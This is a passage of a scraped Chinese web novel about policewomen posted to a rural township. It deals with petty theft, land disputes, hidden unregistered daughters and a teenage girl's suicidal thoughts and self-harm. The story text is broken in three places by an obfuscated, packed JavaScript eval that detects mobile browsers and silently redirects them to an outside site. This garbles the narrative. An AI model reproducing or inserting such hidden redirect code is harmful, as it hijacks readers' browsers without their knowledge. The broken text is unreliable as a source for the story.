孙家大儿子立马说道:“他肯定只是一时做错了,产生了错误的想法,警察同志,你看,他还小,我们都有过小时候,小时候都不懂事,不知道自己在做什么,以后,我会好好教育他,他以后绝对不会再偷东西了。警察同志,你能不能帮我跟廖山春说一下,我可以给他十块钱……不,二十块钱,只要她答应,不要把这件事情传出去。” 廖山春可是出了名的藏不住事情,之前高压锅不见了就闹得全村子人都知道,现在高压锅找回来,还不得传得全村子都知道他儿子偷东西吗? 光是这个念头都让他觉得害怕。 也许是害怕云松不答应,他又说道:“警察同志,您不知道我们这个地方小,要是他身上背了一个偷东西的名声,以后就只能做小偷了,像我二弟那样。” “我二弟这辈子就是被这种事情毁了,如果我爸最开始别当着那么多人的面打我弟弟,不在那么多人面前说他偷钱,让他丢脸,让大家都笑话他,也许我弟弟就不是今天这个结果。他就算是小时候不懂事偷点钱,后面长大了,肯定就不会了。” 云松的职业敏感性觉得他反应有些不对劲,但也许是自己爱偷东西的亲弟死亡,又发现自己儿子有偷拿别人东西的毛病,所以会有这样的激动。 这种协商,云松自然不会拒绝,主要还是看廖山春。 廖山春一分钟前还想要所有人都知道这件事,以报偷高压锅的仇,可现在,听到了二十块钱,不告诉任何人?行!价值二十块钱的行! 要知道,前两年,村长家修新房子,找人背沙砍树背树,从早到晚忙活一天,也就挣10块钱。 现在,一下子就给二十块钱。 廖山春立马答应了。 于是,她拿到了二十块钱,她还在孙家大儿子面前发了誓,不会把这件事说出去。 对她来说,高压锅的事情就结束了,反正高压锅回来了,她这个争气的高压锅还给她带了20块钱回来。 晚上,廖家人围坐在火坑的时候,廖山春还是会想起长桂家的事情。 长桂一家就这样离开了村子,廖山春心里头很不是滋味。 尤其是长桂一家把田地都退出来了,怎么就把地退出来了。 廖山春还记得长桂家当初为了把春凤的田留下来,和村子里闹矛盾的事情。 她那个时候还在想,多来两个这样闹一闹,以后她的女儿也能跟在一起这样干。 却不想,这才过多久,所有的田地都退出来了。 廖山春想到这个事情的时候,都会为她们家感到担忧,没有了田和地以后可怎么办? 虽说她儿子在厂里面有工作,女婿是学校老师,可长桂两口子自己还是要有活路才行。 “唉,其实应该把田留下,可以让我们种着,到时候每年也能给她拿一些米。”廖山春忍不住说道。 村子里也有租别人田的,不是用钱而是每年收成了拿一部分出来。 家里老太太往火坑里添了柴火,说道:“长桂想得很清楚,不留田也是不想要麻烦。” 田地要是留下来了,要掰扯的地方就多了。 首先就是交公粮,田地在你名下,公粮自然要你交。 你自己没有种田了,那就得给人种,对方如果愿意交公粮还好,如果对方起初答应了会交公粮,结果到了交公粮的时候,突然就说今年收成不好,又不愿意去交了,到时候怎么办? 再则说,现在还愿意租别人的田,基本上都是老人了,年轻的这一代劳动力这么勤快的,更愿意去城里打工。老人们如果租了,种了一年,人没了,田地里的问题,可就更不好掰扯了。 最后,一年粮食没有分到什么,麻烦一大堆。 更别说还有孙家一直盯着。 老太太把这里面的弯弯绕绕都说清楚了。 “所以,这田还是退了好。” 廖山春心说,孙家应该不会这么狠吧。 第二天,天刚亮,村长家门口,孙母就来说梨儿田的事情。 她心里的难受是真的,而现在,她想要田也是真的。 “村长,我是来跟你说一下长桂家的田地。” “这个按照排的轮次来,” “这个怎么行?” “要不然你们这个一起抽签也行,那个抽到了都是那个的。” 孙母一听这话,一下子就被激怒了,劈头盖脸地骂道:“你莫在我面前装这个干部模样!要不是你们这些人,我二儿子也不会死!” “曹大姐,说我装干部模样没问题,你想说可以。但害死人这话可不敢胡说。” 孙母开始哭—— “那我就跟你好好说一下,大家也来评评理!看一下我是不是胡说。” 周围的人都在听,心里头知道孙家胡搅蛮缠是为了要田地,可嘴上也不好说什么。 “我二儿子是春凤杀的,春凤是因为她有田在这个村子里,所以隔三差五要回来一次。” “这跟我有什么关系?” “还说没有关系?春凤都嫁出去了,本来就应该把田收回来,我倒要问问你们,如果当初把田收回来了,春凤还会不会往这里跑?她不来,我儿子是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787861|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能活着!你说是不是你们害死了我儿子!” 廖山春在人群中,看着孙母胡搅蛮缠的样子,突然觉得,也许长桂完全断了这里是对的。 最后,孙家还是拿了梨儿田。 廖山春自从经历了这件事,她反而不太想和人吹她知道的事情了。 廖山春一直觉得孙家有那么多田,真的是运气好。 尤其是几年后,国家通知下来,以后不再交公粮了。廖山春觉得这么好的时候,可惜了,长桂一家没赶上。 那个时候,长桂一家去了城里了,因为春凤直接被认定了正当防卫,不起诉,再加上长桂一家在镇上卖爆米花过得也不错,孙家很不甘心,便常常去学校闹,于是长桂一家就去了城里。 城里爆米花什的,城里人哪里会爱吃,大家都觉得城里人肯定看不上,觉得长桂一家去城里,肯定会过得不好。 长桂一家没有回来过,所以大家也不知道长桂家过得怎么样。 直到廖山春的大女儿非要辞职,说是在学校不开心,不愿意在学校教书了,那可是教书,铁饭碗啊! 廖山春只觉得不靠谱,母女俩为这件事在电话里闹得很不愉快,廖山春便想着送点菜,送只土鸡,看看女儿怎么回事。 她在平城遇到了开火锅店的长桂。 她才知道长桂一家现在过得也不错,她们有一个火锅店,听说开了十年了,生意一直很好,长桂说这两年生意不太好做了,主要是大环境经济不好。 廖山春一听,更觉得女儿还是保住教师这个铁饭碗,结果她到女儿学校,女儿已经辞职了。 两个人在电话里又吵了一架。 廖山春回了镇上,她在镇上有了房子,平时住在镇上。 周末廖山春就接到村长通知,说她老家的老房子已经是危房了,要不要推平,如果推平,国家会补贴五万块钱。 她心里虽说不舍,还是选择了推平。 她回去的时候,村子里也没什么人,孙家年轻一代都在镇上住,孙母也已经去世了。 有说是被孙家大孙子气死了,也有说是累死的。 廖山春当年为了二十块钱,并没有把高压锅是谁偷的说出去,但孙家大孙子在前两年因为在城里偷车,已经进监狱了。 孙家老太太那个时候老糊涂了,知道了这个事情以后,觉得是祖坟出了问题。 于是,老太太自己一个人把祖坟全部挪了一遍,最后把自己累到了,没几天就走了。 于是,廖山春一个人站在过去的晒谷坝,她面前,原本应该是种谷子的田,现在变成了竹林,斜下坡,孙家争抢的梨儿田,现在已经看不出过去的样子了。 廖山春在这里坐了大半天,想起了过去的事情,想起了长桂家,她们一次都没有回来过,想起了觉得争到了田地就能得意一辈子的孙家,想起了过去的自己。 最后,她给大雁发了消息。 这个世界哪有铁饭碗,实在是觉得自己活不下去了,那就换个地方继续活。也行。人不能自己把自己困死了。 32.她们说我能诅咒人 第三十二章 云松驻守申请的一周后,唐朝和佟锦就来了。 进同林镇的主公路有一节正好在修路,于是,两个人后面背着一个大包,手上还要拖行李箱,走了四公里才到同林镇的街道。 好在两个人都是警察,身体素质过关,虽然累,但问题不大,在街上看到云松时,两个人立马挥手:“松姐!” 云松看到两人也很惊讶:“你们怎么来了?” 这话说来就很——短。 两个人就是周末出来聚一下,然后佟锦提到了云松留守在同林镇了。 “说实话我也想留在那里。虽说条件差了点,咱们三个还得住同一个寝室。跟在大学的时候差不多。” 佟锦想起了三个人住在一个寝室的时候,晚上还能聊一会儿天。 “是啊。”唐朝也说道。 “我还有点想念张老太太呢,也不知道她那个赌博儿子现在怎么样了,上一次的银行案奖金有500块钱,希望她儿子没再偷她的钱。” “是啊。” “还有廖家的两口子,她们俩现在被关在看守所,不知道她们家里什么情况,我有些担心她们家,唉——” “是啊。” “还有长桂和春凤,不知道孙家的人有没有在找她们麻烦……” “是啊。” 佟锦:“能不能不要说是啊?” “咱们也申请去同林镇驻守吧?” “啊?”佟锦先是愣了一下,紧接着就觉得这个主意不错。 两个人第二天就去申请了,自然很容易就通过了。 所以,此时此刻,云松就看着两个队友,知道她们也是来驻守,看着她们累得满脸通红,云松才懂了同林镇朴实的待客之道里面的情感。 “饿了吧,我先去给你们煮个红糖鸡蛋,一会儿等你们收拾好了,我们再吃晚饭。” “啊?” “我学的待客之道!我现在超级想给你们煮红糖鸡蛋吃!” 有了志同道合的同事,不管怎么说,都是一件开心的事情。 同林镇的人并没有养成找警察的习惯,毕竟警察同志们前两次处理的都是死人的案子。 小地方其实更加信奉家丑不外扬,有事情大家内部解决,镇上出了矛盾,多数就去镇政府的大院子找领导评理,而各个村子里,大大小小的矛盾都由村干部帮忙处理,就像廖山春的高压锅不见了,她便去找过村支书。 所以,最开始的两天,三个人就光是整理镇政府给的人口档案,没有一个人来找她们。 云松给自己的定位也不是取代过去的模式,毕竟她们一共就三个人,人手不够,她的定位是去处理一些村干部管不了的事情。 同林镇的人口统计数据是几年前的,三个人便决定先从认识同林镇开始。 同林镇,隶属于平城南区,地处平城南区的北部,东边是香金镇方向,与百合镇相临,西边是雨兰镇。 根据政府的人口统计,截至1998年末,同林镇户籍人口为15963人。 同林镇下辖一个社区,便是同林镇街道社区,除此以外,便是9个行政村,除了梅悦所在的三里村,廖山春所在的万山村,还有文长村,五里村,黄家村,金山村,平安村,喜人村,老麻村。 三个人在档案里了解了一个大概,然后便是一个一个村子地走访。 倒也不是为了把一万多人全部认识,这个难度太高了,主要是让这一万多人知道现在镇上有驻守的警察了,有村上解决不了的事情,可以来镇上找警察。 自然是从比较远的村子开始,离街道社区比较近的几个村子,经常下来赶集,大多数都已经知道了有警察这件事情。 而远一点的村子,比如说老麻村,这个村子尽管属于同林镇,可她离同林镇太远了,赶集都不是赶同林镇的二四六,而是去赶隔壁百合镇的一三五。 云松三个人便先去了老麻村。 老麻村是真的远。 最开始,三个人还会在路上遇到背背篓的人,后面便是山,看不完的山,走不完的山,翻过一座又一座。 三个人爬得嗓子冒烟,最后终于看到了在山顶的老麻村。 老麻村里,十六岁的常芳一眼就看到了这三个陌生人,她第一眼就觉得奇怪,这三个人怎么都长得这么高,也不知道是吃什么长大的。 她心里头好奇,自然忍不住去看这三个陌生人。 其中一个陌生人也看到她了,对她招手:“老乡,你好,我们是同林镇驻守的警察佟锦……” 常芳就听到了两个字,警察。 旁边的妹妹还在开心:“姐姐,她们是警察!” 佟锦刚打完招呼,刚才还对她们三个有点感兴趣的的人,立马放下了背篓,一大背篓柴全部扔在了路边,然后把旁边背着小背篓的小姑娘背了起来,拔腿就跑。 啊?啊? 佟锦有点怀疑人生了:“我看上去很吓人吗?她连柴都不要了。” 云松也觉得有些奇怪,应该不是人的问题,刚才那姑娘背着柴,一直在看她们三个人,直到佟锦说了警察,这才跑开。 有些奇怪,三个人进了村,村子里也没什么异常,跟其他村子一样大人们都在田里地里干活,孩子们在家门口玩。 很快,她们就发现,有些小孩子一看到她们就跑。 起初以为只是害怕陌生人。 但很快她们就发现有点不对劲,因为其中有一个小姑娘在说—— “警察来了,我们快点躲起来!” 三个警察第一次经历这种待遇。她们是警察,不是强盗! 难不成这里的家长天天吓唬孩子“再不听话,一会儿警察来把你抓走?” “不对劲!真的不对劲!”佟锦忍不住说道—— “怎么会有小孩子害怕我和松姐?我这么亲切,而松姐一看就是大好人啊……” 三个人很快找到了村支书,了解村子里的情况,说起了孩子们的事情。 村干部笑着解释道:“小孩子不懂事,怕生。我们这种农村孩子,没见过世面,听说是警察,就怕被抓。没别的。” 三个人转了一圈,也没发现不对劲,好像真的只是想躲她们,这些孩子也没有被关起来。如果是拐卖,孩子们听说了警察,应该向她们跑来,而不是跑开才对。 回去的时候,路过了猫头山,正好就遇到了单独住在这里的老两口。 “警察同志!你们这是打哪儿来?快进来坐,喝点水。” 三个人也需要有个地方歇歇脚,一边道谢一边进去。 “我们去了老麻村。”云松想了想,问道:“ 你们跟那边熟不熟?” “老麻村,这么远,你们是去查案子吗?” “不是,就是过去看看情况。”佟锦说道:“老人家,他们那边的小孩为什么有点怕警察?我们过去了以后,好几个小孩看到我们,马不停蹄地跑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792416|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个,外地人不知道,但本地人还真知道。 一般情况下都会家丑不外扬。 但老两口不一样,老两口心目中,帮了她们的云松才是自己人,老麻村都是外人。 “这些都是那些娃儿的爹妈造的孽,你们看到的都是女娃儿吧。” “是这样!”三个人一回忆,还真是! “为啥?”佟锦实在是不能理解。 “因为她们是黑户口。”老人家说道:“我们这边有些人重男轻女,生了女娃儿不给上户口,偷偷送到亲戚家藏着养。” “天啊,那她们怎么上学?” “村校不看这个。在村校读两年,能写名字会识数就够了。” 三个警察坐在火坑旁,陷入了沉默。 另一边的老麻村,同样的火坑,旁边坐着常芳,她正望着跳跃的火焰,发呆。 “都十六岁的人了,天天木着个脑袋,也不知道一天到晚脑子里在想什么,叫你多少声了,猪食的水开了,快点下包谷粉子!” 常芳听到大姨的话,赶紧去端包谷粉,然后打开了灶台上的大锅,她往沸腾的水里开始加粉搅拌。 大姨还在旁边念叨:“早晓得你是这么笨的,当初你妈妈要把你扔了,我就同意了。” 常芳并不做声,她知道,大姨现在的生气,是因为不愿意嫁给村子里的王麻子。 常芳搅拌了猪食,坐在灶台前,继续烧火。 等到再一次烧开,她便去拿了猪食桶过来,舀出猪食,妹妹欢欢赶紧去拿煤油灯,给她照路。 姐妹俩挑到猪圈,准备喂猪。 她很小心,因为母猪生小猪了,昨天她进去的时候不小心踩着了小猪,小猪叫了一声,她被母猪狠狠地拱了一下,现在还很疼。 她今天很是注意,把猪食倒进了猪槽里,今天加了很多包谷粉,猪们吃得比往常都香。 她出来的时候,妹妹问她:“姐姐,我们什么时候回家啊?我听大姨说,妈妈要生弟弟了。” 常芳说道:“我们明天就回去。” “可是大姨不是说,明天我们要去二姨家住吗?” “那是大姨骗我们的,我们明天就回自己家了。” 十六岁的常芳做了一个决定,她要在十七岁生日这天,回老家,看看爹妈,和她们吃一顿饭,看看邻居家那条大黑狗。 最后,她要吊死在家门口。 十六岁的姑娘,两岁开始,从大姨家到二姨家,再到三姑家,四舅舅家,无论在哪儿,都要提醒一遍她本来就应该死掉。 大姨不明白她为什么总是发呆。 哦,那是因为,她脑海里总是忍不住冒出一句话:“你怎么还没死掉!” 在她小时候跟着其他孩子读书,老师问她户口问题的时候,在她想方设法回自己家,却被妈妈说你听话一点啊,妈妈也不容易的时候。 在她奶奶说,都是因为她,她是这一代的第一个女孩,她带了头,就一堆女娃来了张家的时候。 这个时候,她就会听不到别人说话,她的脑子有点像村长家那个坏掉的留声机,只会尖锐地不断地重复:“常芳,你怎么还没死掉!” 就连二姨对她好的时候,语文老师夸她写的作文很有灵性的时候,她还没有来得及高兴,脑海的某个角落,就会出现一个很小的声音。 你怎么还没死掉? 只有发呆的时候,什么都没有。 所以,她喜欢发呆。 33.她们说我能诅咒人(二) 第三十三章 同林镇的某些人为了生男娃,会不给女儿上户口,送到亲戚家藏着,但一般生到了男娃,就会把前面的女娃接回家。 于是,老两口听说躲警察的女娃中有个十几岁的,觉得奇怪。 “这个年纪,按理说应该已经被带回家了。怎么还会在亲戚家住着?” 老两口觉得奇怪,于是,云松三个人再回老麻村,首先便是通过不怕警察的孩子们问出了那个姑娘住的地方。 三个人找到了昨天遇到的那个姑娘的大姨家,询问对方情况。 “你们问常芳两姐妹啊,她们去她二姨家了。” 于是云松三个人问下了二姨的地址,又去了另一个村子。 二姨正在挖地,听她们一说,便道:“没有来。那孩子……唉,我前段时间让她来,她不肯过来。有可能是回她自己家去了。” 云松三个人只能再去她自己家。 “警察同志,你莫乱说哦,常芳不是我女儿。”常芳的母亲肚子大概是六个月的大小,她看上去三十几岁,因为怀孕的缘故,人有些浮肿,对于两个女儿不见了这件事,她仿佛听不到一样。 云松还想说什么,对方就开始喊肚子疼。 孕妇,喊肚子疼,可大可小的一件事。 “我会看病,我帮你看看。” “你是警察,会看病的是医生,不要骗我们小老百姓没见识。”她一边说一边抱着肚子往外走。 云松三个人不好勉强,怕她真的出事,而且现在最重要的也不是追责,而是找到失踪的姐妹俩。 于是,三个人只能先自己去找失踪的姐妹俩。 三个人走在老麻村出来的山路上,佟锦一边喊“常芳”的名字,一边感叹:“我今天算是长见识了,怎么会有对自己孩子这么漠然的人。” 云松点头:“我也不明白。” 云松之前听说过,但没有见过对这类人的分析,总不能她们一生下来,上天就在她们耳边说,你这辈子生来就是为了生儿子,你不爱你所有的女儿,你这辈子要严格遵守这一切。 云松总觉得这里面有非常复杂的形成过程。 佟锦叹了一口气:“性别真的那么重要吗?能够扛过母亲的天性?还是说产后抑郁了?可她又迫不及待继续生,产后抑郁会希望快点再生一个吗……”这件事真的涉及到盲区了。 对于母亲不爱女儿这件事,佟锦没经历过,她真的理解不了,她最早的记忆就是她四岁多,要去幼儿园,妈妈每次送她都要抹眼泪,下午从幼儿园回来,她妈妈就会把头埋在她的头发里,猛吸一口,她爸说她妈是女儿瘾犯了。 “不一定是产后抑郁,也可能夹杂着其他情绪吧。”向来话少的唐朝开口道:“我知道有一个母亲,她恨自己的女儿。” “为什么啊?”云松和佟锦一起看了过来。 唐朝不知道想到了什么,被自己逗乐了一样,突然笑了,说道:“因为那个母亲经常被丈夫打,她的心愿就是能生个儿子出来,保护她,可她第一个孩子是个女儿,她被打的时候,她女儿就在旁边看着,一点都不保护她,她更加坚持儿子才能保护她,所以,她恨她女儿。” 佟锦想了想,小心翼翼地问道:“她女儿……为什么不保护她啊?” “可能是因为她女儿那个时候只有六个月大吧。” “……” 唐朝乐了:“是不是有点好笑?” 佟锦:“……” 云松说道:“……这个不好笑。甚至是难过。” “后来怎么样?” “后来两个人离婚了,女人去了外省,重新找了一个人,两个人生了一个女儿,一家三口过得很好,总归是个幸福的好结局。”唐朝说道。 “原本那个女儿呢?” “哦,她努力向上,奋发图强,考上了公安大学……” “唐朝……”佟锦眼泪都下来了,她想抱抱唐朝了,谁也没有想到这个看似高大凶狠的女人背后,还有这么惨的遭遇。 “然后成了我妈。”唐朝补上了后半段。 云松松了一口气,感叹道:“真的是个好结局。” 佟锦就没有这么好的脾气了,毫不客气地说道:“那你前面笑什么?讲你妈妈那么悲惨的过去的时候,你笑什么?害得我以为是你的经历,所以你要用笑掩饰你内心的悲伤,我还以为你长得这么高大,是因为小时候受过这种创伤,所以你不断地吃饭,不断地吃饭,告诉自己一定要长得高一些,最后还发现就算自己长高了也没用,妈妈最后选择爱另一个女儿。” 唐朝:“你这丰富的想象力,不当编剧可惜了。” “我妈也说过我适合当编剧,不过她说我什么都适合。” 唐朝解释道:“我妈第一次跟我讲的时候,我哭了两个小时,好不容易停下来,结果楼上那一家人有个孩子在叫姥姥,然后我又哭了起来,我妈就一直给我讲笑话,挠我痒痒,我刚才讲的时候想起了这件事。” “我妈说,也不能全怪我姥姥,她那个时候精神状态心理状态肯定都出了大问题,那个年代离婚又不会被支持,她就自己给自己花了一个大饼,想着生儿子就能解决一切问题,就能过得舒坦,现实的痛苦打败了母性。后来,她生的还是女儿,我妈去看过,她对我小姨非常疼爱。非得恨一个人的话,就恨我姥爷吧。” 云松又想起了不知所踪的常芳,又想起不紧不慢的常芳父母,心里头很不是滋味。 常芳此时带着六岁的妹妹,迷路了。 她太久没有回自己家了,她家是金山村,小时候清清楚楚记得的路,现在走到岔路口,都不知道该走哪个方向,她随便选了一个。 “姐姐,我们真的是回家吗?我怎么觉得不像是去二姨家,也不像是回家的路。”妹妹一边说,一边去摘路边的树叶子吃。 “欢欢,你很想回家吗?” “是啊,我想妈妈了,我不喜欢大姨。” 欢欢知道这里不是自己家,等有了弟弟,她们就可以回自己家了,她心里头一直念着要回家。 常芳还记得欢欢被送过来的那天,那个时候欢欢两岁多一点,整个人胖嘟嘟的,被送过来的时候,有点像邻居家刚被断奶就要被送走的小狗,奶嘟嘟的,一个劲地嚎,嘴巴里全都是要妈妈。 那是她第二次见到欢欢。 那个时候,常芳只有十三岁,她看着欢欢,觉得有些对不起她。 如果不是自己,欢欢也许就不是女孩子了。 她第一次见欢欢,欢欢还在妈妈肚子里。 那年她十岁,她洗碗的时候,打碎了一个碗,大姨见了,很是生气,骂她吃白食,说是喂头猪都比喂她强。 她心里头难过,想着回自己家,去拿个碗,赔给大姨,让大姨别生气了。 她走路走回了自己家,她到门口的时候,她看到妈妈在里面,肚子有点大。 她喊了一声妈妈,妈妈脸色一下子就变了,问她:“你怎么回来了?” “你大姨呢?” 她想要跟妈妈说说自己过得不好,说自己想回家,可妈妈已经开口了:“你别进来啊!” “妈妈?” 妈妈摇了摇头,妈妈看着她,一手抱着肚子,嘴里一直喊:“大强!大强!你快过来!” 她爸爸从外面跑了进来,看到她的时候,脸色一下子变了,拿了一根木条子,跟吆一头猪一样,把她吆了出去。 她妈妈在里面急得掉眼泪:“天王神啊,真的是要克我啊,好不容易才怀上一个,结果这个扫把星又回来了!” 常芳那天才知道,她出生的时候,奶奶找人算了命,说她命里带妹妹,要是把她留着,后面生多少个孩子都会是女娃子。 她被赶紧送回了大姨家,也没有拿到一个碗赔给大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801845|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨。 好在大姨也就没有提这件事了。 而她则是一直担惊受怕,十岁的她担心她回去那一趟,要是真的把妈妈肚子里的弟弟变成了妹妹怎么办? 没多过久,大姨就说,你妈妈生了,是妹妹。 这个妹妹就是欢欢,没过一年,大姨家的小表弟总是生病,大姨就琢磨着,会不会是她这个命的缘故,便不想养她了,她就被送去了二姨家。 那个时候她其实很高兴,因为她很喜欢在二姨家。 二姨是个非常非常好的女人,她有两个儿子,两个儿子都比常芳大,她对常芳非常好。 可常芳十二岁的时候,二姨的大儿子带着弟弟去池塘里抓鱼,没了。 二姨哭得昏了过去,常芳想要安慰她。 可二姨家的人都说肯定是常芳的命格太硬了,克人。 常芳便背上了克死人的罪名,她很想跟喜欢她的二姨说她不是故意的,她对不起二姨,可二姨再也不想见到她了。 她就被送去了三姑家。 三姑和她妈妈感情不好,三姑有两个孩子,大表姐和小表弟。 三姑不喜欢她,可常芳会永远记得村长来家里说,这个娃也到十三岁了,让她也去读书吧。 三姑就去找三姑父要钱,三姑父还骂了三姑一顿,她偷偷地看着。 她以为三姑会打她,会骂她,可是都没有,三姑只是有些不高兴地说,还是你命好,爹不疼妈不爱的,还能碰到我这样的好人,滚去读书。 可三姑也没有要她太久,因为妈妈把欢欢送到了大姨家,大姨实在是养不了这个两三岁的小孩子,便想到了常芳。 可又怕她命格克人,于是请了一个很厉害的八字先生帮忙,那八字先生听了八字。 1984年农历3月26子时…… 那算命先生掐着手指头算了一有点不相信,回过头问她们真的就是这个时间吗?你们有没有记错? “没有,她奶奶迷信,讲究这些。” “真是……我这辈子这么久了,第一次遇到……这种天煞孤星的命。” “是啊,她克周围所有人。也是我们家心善,一直收留她,您能不能想个法子……” 常芳就在旁边看着,对自己充满了恨意,恨自己怎么生这么一个坏八字!那算命先生看了她一眼,道:“改个生日就可以了,以后你们要给她过另一个生日,以后,她过阴历十月十九的生日,要骗过老天爷,她便再也不会妨碍你们了。” 于是,常芳再也没有过过自己的3月26生日。常芳便在大姨家带妹妹。 昨天,大姨生气,让她去二姨家,常芳知道,二姨不想见她,可妈妈不要她,大姨也不要她了。 她就想回自己家,可太久没回去了,小时候明明记得的路,现在却完全忘了。 她只能在一边山坡上坐了下来。 妹妹也靠了过来。 常芳想起了自己把弟弟克成了妹妹,又克死了小弟的小半辈子,脑海里又开始出现那个声音了。 “你怎么还不去死!你怎么还不去死!” 她怎么赶都赶不走这个声音,那声音越来越大,她的心上像是有一把钝刀在割,痛得很煎熬。她感觉自己快要被撕碎了,她狠狠地抓了自己一把,左手小臂出现了血痕,□□的痛苦并不能缓解她的难受。 妹妹被她吓得躲了起来。 常芳左右看了看,一根枯木在不远处。 她拿起枯木,噼噼啪啪地在枯叶上打着,她觉得自己真的有病,大家不喜欢她是应该的。 打着打着,树叶飞溅起来,树叶中的几抹红色吸引了常芳的眼睛。 这…… 钱? 等等!常芳枯木一扔,捡起来地上的红色纸张,跟一百块钱一模一样,一张,两张,三张…… 整整十张! 这……是真的吗? 34.她们说我会诅咒人(三) 第三十四章 同林镇的银行被偷案有一千多块钱没有收回来,当时,警察给出来的交代是钱被风吹走了。 但这个事情,同林镇个个都有自己的看法。 钱怎么可能让风吹走?咋了,风长了眼睛,能从兜里把钱偷出来?还是偷儿偷了钱没地方花,拿出来撒着玩?怎么想都不合理。 “要我说,肯定是银行根本没有丢那么多钱,原本不是还在说丢了5万吗?结果突然就变成了2万,要我说,估计都没有到两万,所以要找警察要两万块钱,警察也不是傻子,就说钱被风吹走了。” 说这个阴谋论的人那是有理有据,甚至还带入了自己是偷儿:“你想啊,要是你是去偷钱的,你能在银行数2万块钱偷吗?能偷的这么整齐吗?反正我不能。” 毕竟大家对银行的制度也不够了解,代入了这个话,还真觉得是这么回事。 不过也有一些人怀疑是这点钱是被花了,总不能这几个经手钱的人,一分钱没花吧! “估计是花了现在说钱被风吹走了,免得银行去找他们家里要钱。” 不管是前一个说法还是后一个说法,都有一个共同观点,不可能是风吹走了钱。 当然,也有一些人去山里碰运气,万一呢?反正有空的时候,去山里面找找又不吃亏。 正好是10月份,猫头山这一代出了特别多的石灰菌。 石灰菌因为通体白色有点像石灰而得名,平时加些辣椒一炒,很是下饭。 平常镇上也会有一些山里的人把这个石灰菌先煮熟,再来镇上卖。 镇上的人去山里刨树叶,一刨一个石灰菌,那树叶下,全都是石灰菌。 谁能拒绝这种快乐,没找到钱,找到了石灰菌,也不亏啊。 于是最开始进山找钱的人用衣服兜了一大堆石灰菌出来。 下来的时候,其他人还在说也是运气好,这些石灰菌居然还没有被山里的人捡走。 “可不是,山里都是。好多都老了烂了,可惜了。” “等工厂休息的时候,我们也去山里面找找,找不到钱,找点石灰菌也好。” 当天晚上,这些吃了石灰菌的人全部上吐下泻,头晕眼花,一去看医生才知道这蘑菇有毒。 “不可能有毒。我们从小吃到大,这就是石灰菌。” “之前也出现过,这个叫日本红菇,和石灰菌几乎长得一模一样,山里的人有些都辨别不了,只能靠哪一座山吃了中毒,哪座山吃了没事来分辨,你们去的时候满山都是这个菌,那肯定是山里人吃过中过毒。” 还能这样啊,现在好了,钱没找到,人还遭了罪。 于是乎这件事就传开了,连带着原本要去找石灰菌的人也不去了。 本来就不相信有钱被风吹走了,现在还多了一个中毒事件,这事就这样搁置了。 山里的这些钱便混在树叶中,安静地呆了几天,很快就遇到了同林镇特大暴雨。 猫儿山的山里的树叶被雨水冲走,这些钱也混在其中,最后所有的树叶和钱都停在了一个大石头旁边。 直到有个年轻姑娘常芳决定回家去死,结果找不到回家的路,姐妹俩饿得头晕眼花,走不通,干脆把雨水冲刷出来的路当做路走,走到最后,便是这个挡住了所有树叶的大石头。 常芳情绪崩溃中,发现的便是先一步顺着雨水来了这里的钱。 六岁的欢欢知道,姐姐又疯了,每次姐姐疯了就让姐姐一个人待一会儿,她就躲到了旁边的草丛里。 常芳什么都没有想,整个人只剩下人类对金钱的本能喜爱。 一百块钱,整整10张,她又把剩下的枯叶子翻了又翻,又找出来了两张,确定了完全没有了,她才看着手里的钱。 这是钱,真的钱。她本来应该感到高兴,可是不知道为什么。她的身体好像又做不出来反应。 “姐姐!好多石灰菌儿!全都是!”欢欢从旁边草丛里,两只手,一只手拿了两朵石灰菌。 常芳手里拿着钱呢,这个一辈子都很不幸的姑娘,觉得自己就是个天降灾星的姑娘,突然天降横财,整个人都懵懵的。 反而她看到石灰菌,心里条件反射地高兴了起来。 这种平时出去在山里面能够捡到的惊喜,反而能够刺激她过去有过的快乐程序。 所有农活,挖洋芋背红薯割牛草,她全都不喜欢。 唯独捡菌,她喜欢,那种没有任何方向,就一个人在山里跑啊跑啊,时不时低下头看到了一枚蘑菇,有些时候运气好,一大片一大片全都是蘑菇,她就会感觉到一种满足感。 那是她这么多年为数不多的开心时刻。 于是,她把钱全部收了起来,不敢再去多想,而是和妹妹一起去捡石灰菌。 这里有,那里也有,天啊,那边一整片全都是!一般都是八九月比较多,现在这个季节还有这么多,真的是运气太好了! “姐姐!我们捡了这么多石灰菌回家,妈妈肯定会高兴。” 常芳原本被钱和石灰菌占据了的大脑在这一刻又被妈妈两个字攻击了。 她又想起了妈妈,脑海里开始出现很多很多不好的声音,这些声音好像又顺着她的血液流进了她的心里。于是她的心又开始难受了起来。 常芳逼着自己想刚才不敢多想的钱,这么多钱应该都是真的。 